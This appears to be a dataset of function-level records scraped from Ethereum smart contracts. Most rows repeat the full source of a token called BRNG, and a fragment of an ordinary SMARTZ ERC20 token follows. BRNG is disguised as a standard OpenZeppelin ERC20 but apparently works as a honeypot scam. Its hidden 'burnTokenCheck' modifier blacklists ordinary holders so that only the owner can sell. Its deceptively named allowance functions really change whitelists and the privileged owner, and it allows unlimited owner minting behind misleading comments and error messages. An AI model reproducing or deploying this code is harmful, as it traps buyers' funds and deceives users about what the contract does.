_balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_approveCheck
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 10679, 11271 ] }
14,122
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_setupDecimals
function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }
/** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 12990, 13085 ] }
14,123
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 13683, 13780 ] }
14,124
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
contract SMARTZ is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "STZ"; name = "SM@RTZ"; decimals = 2; _totalSupply = 2100000000000000; balances[0xCB5FFc129Db563bBced9dF68b8256f1F229668a2] = _totalSupply; emit Transfer(address(0), 0xCB5FFc129Db563bBced9dF68b8256f1F229668a2, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
totalSupply
function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; }
// ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 963, 1084 ] }
14,125
SMARTZ
SMARTZ.sol
0x628f6d40a261a7cdc847343f180a3838132cf458
Solidity
SMARTZ
